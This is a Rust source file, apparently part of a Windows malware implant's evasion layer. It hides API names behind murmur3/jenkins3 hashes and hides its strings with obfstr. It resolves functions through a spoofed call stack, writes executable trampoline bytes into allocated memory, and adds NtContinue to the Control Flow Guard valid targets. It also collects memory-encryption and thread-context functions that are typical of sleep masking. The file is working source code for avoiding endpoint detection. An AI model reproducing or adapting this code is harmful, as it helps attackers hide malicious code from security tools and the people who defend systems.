use alloc::string::String;
use core::{ffi::c_void, ptr::null_mut};
use obfstr::{obfbytes as b, obfstring as s};
use anyhow::{Context, Result, bail};
use dinvk::{
NT_SUCCESS,
pe::PE,
hash::{jenkins3, murmur3},
*,
};
use super::{data::*, stack::Stack};
use super::functions::{
NtAllocateVirtualMemory,
NtLockVirtualMemory,
NtProtectVirtualMemory,
SetProcessValidCallTargets,
NtQueryInformationProcess
};
#[inline(always)]
pub fn init_config() -> Result<&'static Config> {
CONFIG.try_call_once(Config::new)
}
static CONFIG: spin::Once<Config> = spin::Once::new();
#[derive(Default, Debug, Clone, Copy)]
pub struct Config {
pub stack: Stack,
pub callback: u64,
pub trampoline: u64,
pub modules: Modules,
pub wait_for_single: WinApi,
pub base_thread: WinApi,
pub enum_date: WinApi,
pub system_function040: WinApi,
pub system_function041: WinApi,
pub nt_continue: WinApi,
pub nt_set_event: WinApi,
pub rtl_user_thread: WinApi,
pub nt_protect_virtual_memory: WinApi,
pub rtl_exit_user_thread: WinApi,
pub nt_get_context_thread: WinApi,
pub nt_set_context_thread: WinApi,
pub nt_test_alert: WinApi,
pub nt_wait_for_single: WinApi,
pub rtl_acquire_lock: WinApi,
pub tp_release_cleanup: WinApi,
pub rtl_capture_context: WinApi,
pub zw_wait_for_worker: WinApi,
}
#[derive(Debug, Clone, Copy, Default)]
pub struct Modules {
pub ntdll: Dll,
pub kernel32: Dll,
pub cryptbase: Dll,
pub kernelbase: Dll,
}
impl Config {
pub fn new() -> Result<Self> {
let modules = Self::modules();
let mut cfg = Self::functions(modules);
cfg.stack = Stack::new(&cfg)?;
cfg.callback = Self::alloc_callback()?;
cfg.trampoline = Self::alloc_trampoline()?;
if let Ok(true) = Cfg::is_enabled() {
Cfg::enable(&cfg);
}
Ok(cfg)
}
pub fn alloc_callback() -> Result<u64> {
let callback = b!(&[
0x48, 0x89, 0xD1, 0x48, 0x8B, 0x41, 0x78, 0xFF, 0xE0, ]);
let mut size = callback.len();
let mut addr = null_mut();
if !NT_SUCCESS(NtAllocateVirtualMemory(
NtCurrentProcess(),
&mut addr,
0,
&mut size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
)) {
bail!(s!("Failed to allocate stack memory"));
}
unsafe { core::ptr::copy_nonoverlapping(callback.as_ptr(), addr as *mut u8, callback.len()) };
let mut old_protect = 0;
if !NT_SUCCESS(NtProtectVirtualMemory(
NtCurrentProcess(),
&mut addr,
&mut size,
PAGE_EXECUTE_READ as u32,
&mut old_protect
)) {
bail!(s!("Failed to change memory protection for RX"));
}
NtLockVirtualMemory(NtCurrentProcess(), &mut addr, &mut size, VM_LOCK_1);
Ok(addr as u64)
}
pub fn alloc_trampoline() -> Result<u64> {
let trampoline = b!(&[
0x48, 0x89, 0xD1, 0x48, 0x31, 0xD2, 0xFF, 0x21, ]);
let mut size = trampoline.len();
let mut addr = null_mut();
if !NT_SUCCESS(NtAllocateVirtualMemory(
NtCurrentProcess(),
&mut addr,
0,
&mut size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
)) {
bail!(s!("Failed to allocate stack memory"));
}
unsafe { core::ptr::copy_nonoverlapping(trampoline.as_ptr(), addr as *mut u8, trampoline.len()) };
let mut old_protect = 0;
if !NT_SUCCESS(NtProtectVirtualMemory(
NtCurrentProcess(),
&mut addr,
&mut size,
PAGE_EXECUTE_READ as u32,
&mut old_protect
)) {
bail!(s!("Failed to change memory protection for RX"));
}
NtLockVirtualMemory(NtCurrentProcess(), &mut addr, &mut size, VM_LOCK_1);
Ok(addr as u64)
}
fn modules() -> Modules {
let ntdll = get_ntdll_address();
let kernel32 = GetModuleHandle(2808682670u32, Some(murmur3));
let kernelbase = GetModuleHandle(2737729883u32, Some(murmur3));
let load_library = GetProcAddress(kernel32, 4066094997u32, Some(murmur3));
let cryptbase = {
let mut addr = GetModuleHandle(3312853920u32, Some(murmur3));
if addr.is_null() {
addr = uwd::spoof!(load_library, obfstr::obfcstr!(c"CryptBase").as_ptr())
.expect(obfstr::obfstr!("Error"))
}
addr
};
Modules {
ntdll: Dll::from(ntdll),
kernel32: Dll::from(kernel32),
cryptbase: Dll::from(cryptbase),
kernelbase: Dll::from(kernelbase),
}
}
fn functions(modules: Modules) -> Self {
let ntdll = modules.ntdll.as_ptr();
let kernel32 = modules.kernel32.as_ptr();
let cryptbase = modules.cryptbase.as_ptr();
Self {
modules,
wait_for_single: GetProcAddress(kernel32, 4186526855u32, Some(jenkins3)).into(),
base_thread: GetProcAddress(kernel32, 4083630997u32, Some(murmur3)).into(),
enum_date: GetProcAddress(kernel32, 695401002u32, Some(jenkins3)).into(),
system_function040: GetProcAddress(cryptbase, 1777190324, Some(murmur3)).into(),
system_function041: GetProcAddress(cryptbase, 587184221, Some(murmur3)).into(),
nt_continue: GetProcAddress(ntdll, 3396789853u32, Some(jenkins3)).into(),
rtl_capture_context: GetProcAddress(ntdll, 1384243883u32, Some(jenkins3)).into(),
nt_set_event: GetProcAddress(ntdll, 1943906260, Some(jenkins3)).into(),
rtl_user_thread: GetProcAddress(ntdll, 1578834099, Some(murmur3)).into(),
nt_protect_virtual_memory: GetProcAddress(ntdll, 581945446, Some(jenkins3)).into(),
rtl_exit_user_thread: GetProcAddress(ntdll, 1518183789, Some(jenkins3)).into(),
nt_set_context_thread: GetProcAddress(ntdll, 3400324539u32, Some(jenkins3)).into(),
nt_get_context_thread: GetProcAddress(ntdll, 437715432, Some(jenkins3)).into(),
nt_test_alert: GetProcAddress(ntdll, 2960797277u32, Some(murmur3)).into(),
nt_wait_for_single: GetProcAddress(ntdll, 2606513692u32, Some(jenkins3)).into(),
rtl_acquire_lock: GetProcAddress(ntdll, 160950224u32, Some(jenkins3)).into(),
tp_release_cleanup: GetProcAddress(ntdll, 2871468632u32, Some(jenkins3)).into(),
zw_wait_for_worker: GetProcAddress(ntdll, 2326337356u32, Some(jenkins3)).into(),
..Default::default()
}
}
}
struct Cfg;
impl Cfg {
const CFG_CALL_TARGET_VALID: usize = 1;
const PROCESS_COOKIE: u32 = 36;
const PROCESS_USER_MODE_IOPL: u32 = 16;
const ProcessControlFlowGuardPolicy: i32 = 7i32;
pub fn is_enabled() -> Result<bool> {
let mut proc_info = EXTENDED_PROCESS_INFORMATION {
ExtendedProcessInfo: Self::ProcessControlFlowGuardPolicy as u32,
..Default::default()
};
let status = NtQueryInformationProcess(
NtCurrentProcess(),
Self::PROCESS_COOKIE | Self::PROCESS_USER_MODE_IOPL,
&mut proc_info as *mut _ as *mut c_void,
size_of::<EXTENDED_PROCESS_INFORMATION>() as u32,
null_mut(),
);
if !NT_SUCCESS(status) {
bail!(s!("NtQueryInformationProcess Failed"));
}
Ok(proc_info.ExtendedProcessInfoBuffer != 0)
}
pub fn add(module: usize, function: usize) -> Result<()> {
unsafe {
let nt_header = PE::parse(module as *mut c_void)
.nt_header()
.context(s!("Invalid NT header"))?;
let size = ((*nt_header).OptionalHeader.SizeOfImage as usize + 0xFFF) & !0xFFF;
let mut cfg = CFG_CALL_TARGET_INFO {
Flags: Self::CFG_CALL_TARGET_VALID,
Offset: function - module,
};
if SetProcessValidCallTargets(
NtCurrentProcess(),
module as *mut c_void,
size,
1,
&mut cfg
) == 0
{
bail!(s!("SetProcessValidCallTargets Failed"))
}
}
Ok(())
}
pub fn enable(cfg: &Config) {
let targets = [(cfg.modules.ntdll, cfg.nt_continue)];
for (module, func) in targets {
if let Err(e) = Self::add(module.as_u64() as usize, func.as_u64() as usize) {
if cfg!(debug_assertions) {
dinvk::println!("CFG::add failed: {e}");
}
}
}
}
}
#[derive(Default, Debug, Clone, Copy)]
#[repr(transparent)]
pub struct Dll(u64);
impl Dll {
#[inline(always)]
pub fn as_ptr(self) -> *mut c_void {
self.0 as *mut c_void
}
#[inline(always)]
pub fn as_u64(self) -> u64 {
self.0
}
}
impl From<*mut c_void> for Dll {
fn from(ptr: *mut c_void) -> Self {
Self(ptr as u64)
}
}
impl From<u64> for Dll {
fn from(addr: u64) -> Self {
Self(addr)
}
}
impl From<Dll> for u64 {
fn from(dll: Dll) -> Self {
dll.0
}
}
#[derive(Default, Debug, Clone, Copy)]
#[repr(transparent)]
pub struct WinApi(u64);
impl WinApi {
#[inline(always)]
pub fn as_ptr(self) -> *const c_void {
self.0 as *const c_void
}
#[inline(always)]
pub fn as_mut_ptr(self) -> *mut c_void {
self.0 as *mut c_void
}
#[inline(always)]
pub fn is_null(self) -> bool {
self.0 == 0
}
#[inline(always)]
pub fn as_u64(self) -> u64 {
self.0
}
}
impl From<*const c_void> for WinApi {
fn from(ptr: *const c_void) -> Self {
Self(ptr as u64)
}
}
impl From<*mut c_void> for WinApi {
fn from(ptr: *mut c_void) -> Self {
Self(ptr as u64)
}
}
impl From<u64> for WinApi {
fn from(addr: u64) -> Self {
Self(addr)
}
}
impl From<WinApi> for u64 {
fn from(api: WinApi) -> Self {
api.0
}
}